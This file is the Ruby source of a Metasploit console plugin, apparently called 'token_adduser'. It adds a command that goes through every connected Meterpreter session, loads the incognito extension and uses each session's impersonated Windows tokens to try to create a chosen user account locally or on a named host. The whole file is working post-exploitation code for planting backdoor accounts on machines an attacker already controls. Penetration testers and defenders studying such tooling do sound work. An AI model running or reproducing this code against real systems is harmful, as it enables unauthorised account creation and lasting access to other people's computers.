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#
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# $Id$
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#
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# This is a modified version of token_hunter.rb. Credit to
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# jduck (I believe) for much of the base code here.
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#
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# The goal of this script is to attempt to add a user via
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# incognito using all connected meterpreter sessions.
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#
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# jseely[at]relaysecurity.com
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#
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# TODO: This should probably find new life as a post module.
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module Msf
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  class Plugin::TokenAdduser < Msf::Plugin
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    class TokenCommandDispatcher
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      include Msf::Ui::Console::CommandDispatcher
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      def name
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        'Token Adduser'
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      end
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      def commands
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        {
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          'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'
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        }
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      end
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      def cmd_token_adduser(*args)
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        opts = Rex::Parser::Arguments.new(
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          '-h' => [ true, 'Add account to host']
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        )
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        # This is ugly.
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        if args.empty?
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          print_line('Usage: token_adduser [options] <username> <password>')
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          print_line(opts.usage)
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          return
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        end
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        opt_user_pass = []
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        username = nil
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        password = nil
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        host = nil
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        opts.parse(args) do |opt, _idx, val|
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          case opt
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          when '-h'
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            host = val
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          else
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            # Excuse my weak ruby skills. I'm sure there's a better way to get username and password
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            # from the args.
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            opt_user_pass << val
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          end
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        end
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        # Again, I'm sure there's a better way to do this.
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        username = opt_user_pass[0]
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        password = opt_user_pass[1]
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        framework.sessions.each_key do |sid|
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          session = framework.sessions[sid]
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          next unless session.type == 'meterpreter'
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          print_status(">> Opening session #{session.sid} / #{session.session_host}")
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          unless session.incognito
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            session.core.use('incognito')
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          end
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          unless session.incognito
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            print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
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            next
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          end
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          # print "DEBUG #{username} #{password}\n"
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          res = session.incognito.incognito_add_user(host, username, password)
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          next unless res
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          print "#{res}\n"
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          # Currently only stops on success if a user is trying to be added to a specific
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          # host. I can't think of a good reason to stop on success (or even make it an option)
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          # when trying to add a user to local sessions.
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          if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)
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            break
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          end
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        end
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      end
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    end
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    def initialize(framework, opts)
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      super
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      add_console_dispatcher(TokenCommandDispatcher)
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    end
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    def cleanup
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      remove_console_dispatcher('Token Adduser')
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    end
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    def name
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      'token_adduser'
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    end
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    def desc
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      'Attempt to add an account using all connected Meterpreter session tokens'
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    end
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  end
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end
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